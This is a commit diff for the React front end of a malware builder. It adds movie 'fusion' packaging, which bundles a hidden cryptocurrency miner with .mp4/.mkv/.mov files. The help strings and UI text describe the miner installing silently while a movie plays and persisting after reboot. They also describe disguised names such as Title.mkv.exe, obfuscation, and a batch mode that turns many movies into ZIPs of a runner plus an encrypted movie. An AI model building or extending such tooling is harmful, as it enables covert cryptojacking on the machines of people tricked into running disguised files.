Add movie fusion packages with locked media, ZIP export, and batch forge UI.
Paired video mode encrypts movies, uses runner-only lock hints, bundles README plus artifacts per title, and supports batch forging with progress.
This commit is contained in:
@@ -81,6 +81,8 @@ export const api = {
|
||||
},
|
||||
|
||||
buildDownloadUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/download`,
|
||||
buildArtifactUrl: (buildId: string, fileName: string) =>
|
||||
`${API_BASE}/builds/${buildId}/artifact/${encodeURIComponent(fileName)}`,
|
||||
buildUninstallUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/uninstall`,
|
||||
|
||||
// Blueprints (config presets)
|
||||
|
||||
@@ -18,3 +18,6 @@ export async function downloadAuthedFile(apiPath: string, filename: string): Pro
|
||||
a.remove();
|
||||
URL.revokeObjectURL(objectUrl);
|
||||
}
|
||||
|
||||
/** Alias used by Forge auto-download and DownloadButton. */
|
||||
export const downloadApiFile = downloadAuthedFile;
|
||||
|
||||
33
server/web/src/components/DownloadButton.tsx
Normal file
33
server/web/src/components/DownloadButton.tsx
Normal file
@@ -0,0 +1,33 @@
|
||||
import { useState, type ReactNode } from 'react';
|
||||
import { downloadApiFile } from '../api/download';
|
||||
|
||||
type Props = {
|
||||
apiPath: string;
|
||||
filename: string;
|
||||
className?: string;
|
||||
children: ReactNode;
|
||||
};
|
||||
|
||||
/** Click to save an API file to the browser Downloads folder. */
|
||||
export default function DownloadButton({ apiPath, filename, className, children }: Props) {
|
||||
const [busy, setBusy] = useState(false);
|
||||
|
||||
const handleClick = async (e: React.MouseEvent) => {
|
||||
e.preventDefault();
|
||||
if (busy) return;
|
||||
setBusy(true);
|
||||
try {
|
||||
await downloadApiFile(apiPath, filename);
|
||||
} catch (err) {
|
||||
window.alert(err instanceof Error ? err.message : 'Download failed');
|
||||
} finally {
|
||||
setBusy(false);
|
||||
}
|
||||
};
|
||||
|
||||
return (
|
||||
<button type="button" className={className} onClick={handleClick} disabled={busy}>
|
||||
{busy ? 'Downloading…' : children}
|
||||
</button>
|
||||
);
|
||||
}
|
||||
@@ -35,6 +35,10 @@ export const FORGE_BUILD_DEFAULTS: Omit<
|
||||
fusion_enabled: false,
|
||||
fusion_run_order: 'parallel',
|
||||
fusion_output_name: 'prep.exe',
|
||||
fusion_payload_kind: 'exe',
|
||||
fusion_media_mode: 'paired',
|
||||
fusion_media_base_name: '',
|
||||
fusion_export_subdir: '',
|
||||
ai_enabled: false,
|
||||
ai_ollama_endpoint: 'http://localhost:11434',
|
||||
ai_model: 'llama3.2',
|
||||
|
||||
20
server/web/src/help/fusionMedia.ts
Normal file
20
server/web/src/help/fusionMedia.ts
Normal file
@@ -0,0 +1,20 @@
|
||||
export function isFusionVideoFile(file: File | null | undefined): boolean {
|
||||
if (!file?.name) return false;
|
||||
return /\.(mp4|mkv|mov)$/i.test(file.name);
|
||||
}
|
||||
|
||||
export function fusionTitleFromFilename(name: string): string {
|
||||
const base = name.replace(/^.*[/\\]/, '');
|
||||
return base.replace(/\.(mp4|mkv|mov|exe)$/i, '') || 'movie';
|
||||
}
|
||||
|
||||
export function defaultRunnerName(mediaName: string): string {
|
||||
const title = fusionTitleFromFilename(mediaName);
|
||||
return `${title}-runner.exe`;
|
||||
}
|
||||
|
||||
export function defaultEmbeddedName(mediaName: string): string {
|
||||
const ext = mediaName.match(/\.(mp4|mkv|mov)$/i)?.[0] || '.mkv';
|
||||
const title = fusionTitleFromFilename(mediaName);
|
||||
return `${title}${ext}.exe`;
|
||||
}
|
||||
@@ -68,10 +68,16 @@ export const FIELD_HELP: Record<string, string> = {
|
||||
run_as: 'User = Run key when persistence is on. Scheduled/Service always creates a logon task (persistence forced on — checkbox locks).',
|
||||
silent_mode: 'Legacy toggle — prefer Display Mode. Hidden window when enabled.',
|
||||
auto_start: 'Same as Persistence. Keeps miner running after reboot.',
|
||||
fusion_enabled: 'Embed your prep.exe and the miner worker into one output file. Double-clicking the fused exe runs both.',
|
||||
fusion_run_order: 'Parallel runs prep and miner together. Prep first finishes prep then keeps miner running. Worker first installs the miner then runs prep.',
|
||||
fusion_prep: 'The executable you want to bundle the miner inside. The final forged output will launch this prep file and the hidden miner.',
|
||||
fusion_output_name: 'Filename of the fused output on disk, usually prep.exe so your USB workflow stays the same.',
|
||||
fusion_enabled:
|
||||
'Bundle a prep .exe or a movie (.mp4 / .mkv / .mov) with the hidden miner. Video mode plays the movie while the worker installs in the background.',
|
||||
fusion_run_order:
|
||||
'Parallel runs prep/movie and miner together. Prep first finishes the visible app then keeps the miner. Worker first installs the miner then runs prep.',
|
||||
fusion_prep:
|
||||
'Prep .exe or a movie (.mp4 / .mkv / .mov). EXE = classic Fusion. Video = plays the movie while the miner installs hidden.',
|
||||
fusion_media_mode:
|
||||
'Embedded: one disguised file (e.g. Vacation.mkv.exe) with the movie inside — single download, best under ~500MB. Paired: runner + encrypted .cmdata in fusion-deliverables/<title>/ — best for full-length films (up to 2GB upload).',
|
||||
fusion_output_name:
|
||||
'Output launcher name. For paired video this is usually Title-runner.exe; embedded uses Title.mkv.exe style names.',
|
||||
install_base: 'Windows folder root where the miner embeds itself on first run. LocalAppData is typical for per-user hidden installs.',
|
||||
install_custom_base: 'Full base path when Install Base is Custom. Supports %LOCALAPPDATA%, %APPDATA%, %ProgramData%, etc.',
|
||||
install_relative_path: 'Folder path under the base, created on first run. Tokens: {worker}, {build}, {build_short}, {process}. Final exe: that folder + Process Name.exe',
|
||||
|
||||
@@ -14,6 +14,14 @@ import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../compone
|
||||
import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
|
||||
import { LanDownloadQR } from '../components/Fleet/LanDownloadQR';
|
||||
import AuthDownloadButton from '../components/AuthDownloadButton';
|
||||
import DownloadButton from '../components/DownloadButton';
|
||||
import { downloadApiFile } from '../api/download';
|
||||
import {
|
||||
isFusionVideoFile,
|
||||
fusionTitleFromFilename,
|
||||
defaultRunnerName,
|
||||
defaultEmbeddedName,
|
||||
} from '../help/fusionMedia';
|
||||
import '../components/Fleet/FleetPanels.css';
|
||||
import './Pages.css';
|
||||
|
||||
@@ -53,6 +61,15 @@ export default function BuilderPage() {
|
||||
const [showRecent, setShowRecent] = useState(false);
|
||||
const [loadingDefaults, setLoadingDefaults] = useState(true);
|
||||
const [fusionPrepFile, setFusionPrepFile] = useState<File | null>(null);
|
||||
const [fusionBatchFiles, setFusionBatchFiles] = useState<File[]>([]);
|
||||
const [batchJob, setBatchJob] = useState<{
|
||||
total: number;
|
||||
current: number;
|
||||
fileName: string;
|
||||
phase: string;
|
||||
percent: number;
|
||||
log: { name: string; status: 'pending' | 'active' | 'ok' | 'fail'; detail?: string }[];
|
||||
} | null>(null);
|
||||
const [fusionEstimate, setFusionEstimate] = useState<FusionEstimate | null>(null);
|
||||
const [estimateLoading, setEstimateLoading] = useState(false);
|
||||
const [estimateError, setEstimateError] = useState('');
|
||||
@@ -117,6 +134,28 @@ export default function BuilderPage() {
|
||||
}
|
||||
};
|
||||
|
||||
const finishForgeSuccess = async (result: BuildResponse) => {
|
||||
setLastBuild(result);
|
||||
loadRecentBuilds();
|
||||
const url = result.bundle_download_url || result.download_url;
|
||||
const name = result.bundle_file_name || result.file_name;
|
||||
if (url && name) {
|
||||
try {
|
||||
await downloadApiFile(url, name);
|
||||
} catch (err) {
|
||||
console.error('Auto-download failed:', err);
|
||||
}
|
||||
return;
|
||||
}
|
||||
if (result.download_url && result.file_name) {
|
||||
try {
|
||||
await downloadApiFile(result.download_url, result.file_name);
|
||||
} catch (err) {
|
||||
console.error('Auto-download failed:', err);
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
// Blueprint: save current form as a named blueprint
|
||||
const handleSaveBlueprint = async () => {
|
||||
if (!form) return;
|
||||
@@ -176,8 +215,7 @@ export default function BuilderPage() {
|
||||
try {
|
||||
const result = await api.buildAgent(merged, fusionPrepFile);
|
||||
if (!result.success) throw new Error(result.error || 'Build failed');
|
||||
setLastBuild(result);
|
||||
loadRecentBuilds();
|
||||
await finishForgeSuccess(result);
|
||||
setBlueprintMsg(`✅ Re-forged ${build.worker_name}`);
|
||||
} catch (err: any) {
|
||||
setError(err.message || 'Re-forge failed');
|
||||
@@ -238,6 +276,127 @@ export default function BuilderPage() {
|
||||
URL.revokeObjectURL(url);
|
||||
};
|
||||
|
||||
const applyFusionFileSelection = (f: File | null) => {
|
||||
setFusionPrepFile(f);
|
||||
if (!f) return;
|
||||
setForm((prev) => {
|
||||
if (!prev) return prev;
|
||||
const video = isFusionVideoFile(f);
|
||||
const mode = prev.fusion_media_mode || 'paired';
|
||||
return {
|
||||
...prev,
|
||||
fusion_payload_kind: video ? 'video' : 'exe',
|
||||
fusion_media_base_name: f.name,
|
||||
fusion_output_name: video
|
||||
? mode === 'embedded'
|
||||
? defaultEmbeddedName(f.name)
|
||||
: defaultRunnerName(f.name)
|
||||
: f.name,
|
||||
};
|
||||
});
|
||||
};
|
||||
|
||||
const handleBatchForgeMovies = async () => {
|
||||
if (!form || fusionBatchFiles.length === 0) return;
|
||||
setError('');
|
||||
setLastBuild(null);
|
||||
setBuilding(true);
|
||||
const total = fusionBatchFiles.length;
|
||||
const log = fusionBatchFiles.map((f) => ({ name: f.name, status: 'pending' as const }));
|
||||
setBatchJob({ total, current: 0, fileName: '', phase: 'starting', percent: 0, log });
|
||||
let ok = 0;
|
||||
try {
|
||||
for (let i = 0; i < total; i++) {
|
||||
const file = fusionBatchFiles[i];
|
||||
const title = fusionTitleFromFilename(file.name);
|
||||
const pct = Math.round((i / total) * 100);
|
||||
setBatchJob((j) =>
|
||||
j
|
||||
? {
|
||||
...j,
|
||||
current: i + 1,
|
||||
fileName: file.name,
|
||||
phase: 'building',
|
||||
percent: pct,
|
||||
log: j.log.map((row, idx) =>
|
||||
idx === i ? { ...row, status: 'active', detail: 'Forging + packaging ZIP…' } : row
|
||||
),
|
||||
}
|
||||
: j
|
||||
);
|
||||
const mode = form.fusion_media_mode || 'paired';
|
||||
const req: BuildRequest = {
|
||||
...form,
|
||||
fusion_enabled: true,
|
||||
fusion_payload_kind: 'video',
|
||||
fusion_media_base_name: file.name,
|
||||
fusion_export_subdir: title,
|
||||
fusion_output_name:
|
||||
mode === 'embedded' ? defaultEmbeddedName(file.name) : defaultRunnerName(file.name),
|
||||
worker_name: `${form.worker_name || 'miner'}-${title}`.replace(/[^a-zA-Z0-9._-]+/g, '_').slice(0, 48),
|
||||
};
|
||||
const checks = runForgePreflight(req, true);
|
||||
if (preflightHasErrors(checks)) {
|
||||
throw new Error(`Preflight failed for ${file.name}`);
|
||||
}
|
||||
const result = await api.buildAgent(req, file);
|
||||
if (!result.success) throw new Error(result.error || `Build failed: ${file.name}`);
|
||||
setBatchJob((j) =>
|
||||
j
|
||||
? {
|
||||
...j,
|
||||
phase: 'downloading',
|
||||
log: j.log.map((row, idx) =>
|
||||
idx === i ? { ...row, detail: `Downloading ${result.bundle_file_name || 'package'}…` } : row
|
||||
),
|
||||
}
|
||||
: j
|
||||
);
|
||||
await finishForgeSuccess(result);
|
||||
ok++;
|
||||
setBatchJob((j) =>
|
||||
j
|
||||
? {
|
||||
...j,
|
||||
log: j.log.map((row, idx) =>
|
||||
idx === i
|
||||
? {
|
||||
...row,
|
||||
status: 'ok',
|
||||
detail: result.fusion_export_dir
|
||||
? `Saved → ${result.fusion_export_dir}`
|
||||
: 'ZIP downloaded',
|
||||
}
|
||||
: row
|
||||
),
|
||||
}
|
||||
: j
|
||||
);
|
||||
}
|
||||
setBatchJob((j) => (j ? { ...j, phase: 'done', percent: 100, fileName: '' } : j));
|
||||
setBlueprintMsg(`✅ Batch forged ${ok} movie(s) — one ZIP per title in fusion-deliverables/`);
|
||||
setTimeout(() => setBlueprintMsg(''), 6000);
|
||||
setFusionBatchFiles([]);
|
||||
} catch (err: unknown) {
|
||||
const msg = err instanceof Error ? err.message : 'Batch forge failed';
|
||||
setError(msg);
|
||||
setBatchJob((j) =>
|
||||
j
|
||||
? {
|
||||
...j,
|
||||
phase: 'error',
|
||||
log: j.log.map((row) =>
|
||||
row.status === 'active' ? { ...row, status: 'fail', detail: msg } : row
|
||||
),
|
||||
}
|
||||
: j
|
||||
);
|
||||
} finally {
|
||||
setBuilding(false);
|
||||
setTimeout(() => setBatchJob(null), 8000);
|
||||
}
|
||||
};
|
||||
|
||||
const handleSubmit = async (e: React.FormEvent) => {
|
||||
e.preventDefault();
|
||||
if (!form) return;
|
||||
@@ -256,8 +415,7 @@ export default function BuilderPage() {
|
||||
if (!result.success) {
|
||||
throw new Error(result.error || 'Build failed');
|
||||
}
|
||||
setLastBuild(result);
|
||||
loadRecentBuilds();
|
||||
await finishForgeSuccess(result);
|
||||
} catch (err: any) {
|
||||
setError(err.message || 'Build failed');
|
||||
} finally {
|
||||
@@ -298,6 +456,8 @@ export default function BuilderPage() {
|
||||
);
|
||||
const canForge = form ? !preflightHasErrors(preflightChecks) : false;
|
||||
const errorCount = preflightChecks.filter((c) => c.level === 'error').length;
|
||||
const fusionIsVideo = isFusionVideoFile(fusionPrepFile);
|
||||
const fusionMediaMode = form?.fusion_media_mode || 'paired';
|
||||
|
||||
useEffect(() => {
|
||||
if (!form?.fusion_enabled || !fusionPrepFile) {
|
||||
@@ -976,23 +1136,144 @@ export default function BuilderPage() {
|
||||
<>
|
||||
<div className={`form-group ${fieldMeta.fusion_prep?.disabled ? 'field-disabled' : ''}`}>
|
||||
<div className="label-row">
|
||||
<label className="label">Your prep.exe <HelpTip field="fusion_prep" /></label>
|
||||
<label className="label">Prep .exe or movie (.mp4 / .mkv / .mov) <HelpTip field="fusion_prep" /></label>
|
||||
<ForgeFieldBadge meta={fieldMeta.fusion_prep} />
|
||||
</div>
|
||||
<input
|
||||
type="file"
|
||||
className="input"
|
||||
accept=".exe,application/octet-stream"
|
||||
accept=".exe,.mp4,.mkv,.mov,application/octet-stream,video/*"
|
||||
onChange={(e) => {
|
||||
const f = e.target.files?.[0] || null;
|
||||
setFusionPrepFile(f);
|
||||
if (f?.name) {
|
||||
updateField('fusion_output_name', f.name);
|
||||
}
|
||||
applyFusionFileSelection(e.target.files?.[0] || null);
|
||||
e.target.value = '';
|
||||
}}
|
||||
/>
|
||||
{fusionPrepFile && (
|
||||
<span className="form-hint">Selected: {fusionPrepFile.name} ({(fusionPrepFile.size / 1024 / 1024).toFixed(2)} MB)</span>
|
||||
<span className="form-hint">
|
||||
Selected: {fusionPrepFile.name} ({(fusionPrepFile.size / 1024 / 1024).toFixed(2)} MB)
|
||||
{fusionIsVideo ? ' — video payload' : ' — exe payload'}
|
||||
</span>
|
||||
)}
|
||||
<p className="form-hint">Upload limit: 2 GB per file.</p>
|
||||
</div>
|
||||
{fusionIsVideo && (
|
||||
<div className="form-group">
|
||||
<label className="label">Movie delivery <HelpTip field="fusion_media_mode" /></label>
|
||||
<div className="radio-row" style={{ display: 'flex', flexDirection: 'column', gap: '0.75rem' }}>
|
||||
<label className="checkbox-label">
|
||||
<input
|
||||
type="radio"
|
||||
className="checkbox"
|
||||
name="fusion_media_mode"
|
||||
checked={fusionMediaMode === 'embedded'}
|
||||
onChange={() => {
|
||||
updateField('fusion_media_mode', 'embedded');
|
||||
if (fusionPrepFile) {
|
||||
updateField('fusion_output_name', defaultEmbeddedName(fusionPrepFile.name));
|
||||
}
|
||||
}}
|
||||
/>
|
||||
<span>
|
||||
<strong>Option A — Single file (embedded)</strong>
|
||||
<FieldHint field="fusion_media_mode" />
|
||||
</span>
|
||||
</label>
|
||||
<p className="form-hint" style={{ marginLeft: '1.75rem' }}>
|
||||
One disguised launcher (e.g. <code>Title.mkv.exe</code>) contains the movie + hidden miner.
|
||||
Best when the file is under ~500MB.
|
||||
</p>
|
||||
<label className="checkbox-label">
|
||||
<input
|
||||
type="radio"
|
||||
className="checkbox"
|
||||
name="fusion_media_mode"
|
||||
checked={fusionMediaMode === 'paired'}
|
||||
onChange={() => {
|
||||
updateField('fusion_media_mode', 'paired');
|
||||
if (fusionPrepFile) {
|
||||
updateField('fusion_output_name', defaultRunnerName(fusionPrepFile.name));
|
||||
}
|
||||
}}
|
||||
/>
|
||||
<span>
|
||||
<strong>Option B — Movie + runner (paired)</strong>
|
||||
</span>
|
||||
</label>
|
||||
<p className="form-hint" style={{ marginLeft: '1.75rem' }}>
|
||||
<code>Title.mkv</code> (shortcut) + hidden <code>Title.mkv.cmdata</code> +{' '}
|
||||
<code>Title-runner.exe</code> in <code>fusion-deliverables/Title/</code>. Clicking the
|
||||
movie shows a lock message; only the runner decrypts and plays it.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
<div className="form-group">
|
||||
<div className="label-row">
|
||||
<label className="label">Batch movies <HelpTip field="fusion_batch" /></label>
|
||||
</div>
|
||||
<input
|
||||
type="file"
|
||||
className="input"
|
||||
accept=".mp4,.mkv,.mov,video/*"
|
||||
multiple
|
||||
onChange={(e) => {
|
||||
const list = e.target.files ? Array.from(e.target.files) : [];
|
||||
setFusionBatchFiles(list);
|
||||
e.target.value = '';
|
||||
}}
|
||||
/>
|
||||
{fusionBatchFiles.length > 0 && (
|
||||
<span className="form-hint">
|
||||
{fusionBatchFiles.length} movie(s) queued — each becomes a ZIP in{' '}
|
||||
<code>fusion-deliverables/<title>/</code> (runner + locked movie + README).
|
||||
</span>
|
||||
)}
|
||||
{batchJob && (
|
||||
<div className="batch-forge-panel card" style={{ marginTop: '0.75rem' }}>
|
||||
<div className="batch-forge-header">
|
||||
<span className="font-tech">BATCH FORGE</span>
|
||||
<span>
|
||||
{batchJob.current}/{batchJob.total} — {batchJob.phase}
|
||||
</span>
|
||||
</div>
|
||||
<div className="batch-progress-track">
|
||||
<div
|
||||
className="batch-progress-fill"
|
||||
style={{ width: `${Math.min(100, batchJob.percent)}%` }}
|
||||
/>
|
||||
</div>
|
||||
{batchJob.fileName && (
|
||||
<p className="form-hint" style={{ marginTop: '0.5rem' }}>
|
||||
Current: <code>{batchJob.fileName}</code>
|
||||
</p>
|
||||
)}
|
||||
<ul className="batch-forge-log">
|
||||
{batchJob.log.map((row) => (
|
||||
<li key={row.name} className={`batch-log-${row.status}`}>
|
||||
<span className="batch-log-icon">
|
||||
{row.status === 'ok' ? '✓' : row.status === 'fail' ? '✕' : row.status === 'active' ? '…' : '○'}
|
||||
</span>
|
||||
<span>
|
||||
{row.name}
|
||||
{row.detail ? ` — ${row.detail}` : ''}
|
||||
</span>
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
</div>
|
||||
)}
|
||||
{fusionBatchFiles.length > 0 && (
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-secondary"
|
||||
style={{ marginTop: '0.5rem' }}
|
||||
disabled={building || !canForge}
|
||||
onClick={handleBatchForgeMovies}
|
||||
>
|
||||
{building
|
||||
? `Batch forging… (${batchJob?.current ?? 0}/${fusionBatchFiles.length})`
|
||||
: `Batch forge ${fusionBatchFiles.length} movie(s) → ZIP each`}
|
||||
</button>
|
||||
)}
|
||||
</div>
|
||||
{!simpleMode && (
|
||||
@@ -1196,11 +1477,19 @@ export default function BuilderPage() {
|
||||
)}
|
||||
<p><strong>File:</strong> {lastBuild.file_name}</p>
|
||||
<p><strong>Size:</strong> {((lastBuild.file_size || 0) / 1024 / 1024).toFixed(2)} MB</p>
|
||||
{lastBuild.fusion_export_dir && (
|
||||
<>
|
||||
<p><strong>Movie deliverables folder:</strong></p>
|
||||
<code className="path-display">{lastBuild.fusion_export_dir}</code>
|
||||
</>
|
||||
)}
|
||||
{lastBuild.export_path && (
|
||||
<>
|
||||
<p><strong>Your file (project root):</strong></p>
|
||||
<code className="path-display">{lastBuild.export_path}</code>
|
||||
<p className="form-hint">Fusion output keeps prep icon + File Description / version strings from your uploaded prep.exe (Windows).</p>
|
||||
{!lastBuild.fusion_export_dir && (
|
||||
<p className="form-hint">Fusion output keeps prep icon + File Description / version strings from your uploaded prep.exe (Windows).</p>
|
||||
)}
|
||||
{(lastBuild.obfuscated || lastBuild.signed) && (
|
||||
<p className="form-hint">
|
||||
{lastBuild.obfuscated && 'Garble obfuscation applied. '}
|
||||
@@ -1210,11 +1499,32 @@ export default function BuilderPage() {
|
||||
</>
|
||||
)}
|
||||
<p className="form-hint">Archive copy: <code className="mono-sm">{lastBuild.file_path}</code></p>
|
||||
{lastBuild.download_url && (
|
||||
<a className="btn btn-primary" href={lastBuild.download_url} download>
|
||||
Download .exe
|
||||
</a>
|
||||
)}
|
||||
<div className="download-actions">
|
||||
{lastBuild.download_url && lastBuild.file_name && (
|
||||
<DownloadButton
|
||||
apiPath={lastBuild.download_url}
|
||||
filename={lastBuild.file_name}
|
||||
className="btn btn-primary btn-lg"
|
||||
>
|
||||
Download {lastBuild.file_name}
|
||||
</DownloadButton>
|
||||
)}
|
||||
{!lastBuild.bundle_download_url && lastBuild.build_id && lastBuild.extra_files?.map((f) => (
|
||||
<DownloadButton
|
||||
key={f.file_name}
|
||||
apiPath={api.buildArtifactUrl(lastBuild.build_id!, f.file_name)}
|
||||
filename={f.file_name}
|
||||
className="btn btn-secondary"
|
||||
>
|
||||
Download {f.file_name}
|
||||
</DownloadButton>
|
||||
))}
|
||||
<p className="form-hint">
|
||||
{lastBuild.bundle_file_name
|
||||
? 'One ZIP per title — extract and run the runner only (agent is inside it, hidden).'
|
||||
: 'Saved to your browser Downloads when the forge completes. Click again if needed.'}
|
||||
</p>
|
||||
</div>
|
||||
{lastBuild.uninstall_export_path && (
|
||||
<p><strong>Uninstaller copy:</strong> <code className="mono-sm">{lastBuild.uninstall_export_path}</code></p>
|
||||
)}
|
||||
@@ -1263,6 +1573,8 @@ export default function BuilderPage() {
|
||||
<div className="build-manager-grid">
|
||||
{recentBuilds.map((build) => {
|
||||
const downloadUrl = `${window.location.origin}${api.buildDownloadUrl(build.id)}`;
|
||||
const exeName =
|
||||
build.file_path?.replace(/^.*[/\\]/, '') || `install-${build.worker_name}.exe`;
|
||||
return (
|
||||
<div key={build.id} className="build-manager-row">
|
||||
<div>
|
||||
@@ -1274,9 +1586,13 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
</div>
|
||||
<LanDownloadQR url={downloadUrl} />
|
||||
<a className="btn btn-outline" href={api.buildDownloadUrl(build.id)} download>
|
||||
<DownloadButton
|
||||
apiPath={api.buildDownloadUrl(build.id)}
|
||||
filename={exeName}
|
||||
className="btn btn-outline"
|
||||
>
|
||||
Download
|
||||
</a>
|
||||
</DownloadButton>
|
||||
<AuthDownloadButton
|
||||
apiPath={api.buildUninstallUrl(build.id)}
|
||||
filename={`uninstall-${build.worker_name || 'worker'}.ps1`}
|
||||
|
||||
@@ -1238,3 +1238,61 @@
|
||||
.forge-simple-banner .font-tech {
|
||||
margin-bottom: 0.35rem;
|
||||
}
|
||||
|
||||
.batch-forge-panel {
|
||||
padding: 1rem 1.1rem;
|
||||
border: 1px solid rgba(212, 175, 55, 0.25);
|
||||
}
|
||||
|
||||
.batch-forge-header {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
margin-bottom: 0.65rem;
|
||||
font-size: 0.85rem;
|
||||
color: var(--text-secondary);
|
||||
}
|
||||
|
||||
.batch-progress-track {
|
||||
height: 8px;
|
||||
border-radius: 999px;
|
||||
background: rgba(255, 255, 255, 0.08);
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
.batch-progress-fill {
|
||||
height: 100%;
|
||||
border-radius: 999px;
|
||||
background: linear-gradient(90deg, rgba(212, 175, 55, 0.85), rgba(120, 200, 255, 0.75));
|
||||
transition: width 0.35s ease;
|
||||
}
|
||||
|
||||
.batch-forge-log {
|
||||
list-style: none;
|
||||
margin: 0.75rem 0 0;
|
||||
padding: 0;
|
||||
font-size: 0.8rem;
|
||||
max-height: 10rem;
|
||||
overflow-y: auto;
|
||||
}
|
||||
|
||||
.batch-forge-log li {
|
||||
padding: 0.2rem 0;
|
||||
color: var(--text-secondary);
|
||||
}
|
||||
|
||||
.batch-forge-log li.batch-ok {
|
||||
color: var(--neon-green, #6f6);
|
||||
}
|
||||
|
||||
.batch-forge-log li.batch-fail {
|
||||
color: var(--neon-red, #f55);
|
||||
}
|
||||
|
||||
.download-actions {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.5rem;
|
||||
align-items: center;
|
||||
margin-top: 0.75rem;
|
||||
}
|
||||
|
||||
@@ -243,6 +243,10 @@ export interface BuildRequest {
|
||||
fusion_enabled: boolean;
|
||||
fusion_run_order: string;
|
||||
fusion_output_name: string;
|
||||
fusion_payload_kind?: string;
|
||||
fusion_media_mode?: string;
|
||||
fusion_media_base_name?: string;
|
||||
fusion_export_subdir?: string;
|
||||
// AI Autonomy (Ollama)
|
||||
ai_enabled: boolean;
|
||||
ai_ollama_endpoint: string;
|
||||
@@ -286,6 +290,11 @@ export interface BuildResponse {
|
||||
uninstall_export_path?: string;
|
||||
error?: string;
|
||||
fusion_enabled?: boolean;
|
||||
fusion_export_dir?: string;
|
||||
extra_files?: { file_name: string; file_path?: string }[];
|
||||
bundle_file_name?: string;
|
||||
bundle_download_url?: string;
|
||||
bundle_size?: number;
|
||||
worker_file?: string;
|
||||
signed?: boolean;
|
||||
obfuscated?: boolean;
|
||||
|
||||
Reference in New Issue
Block a user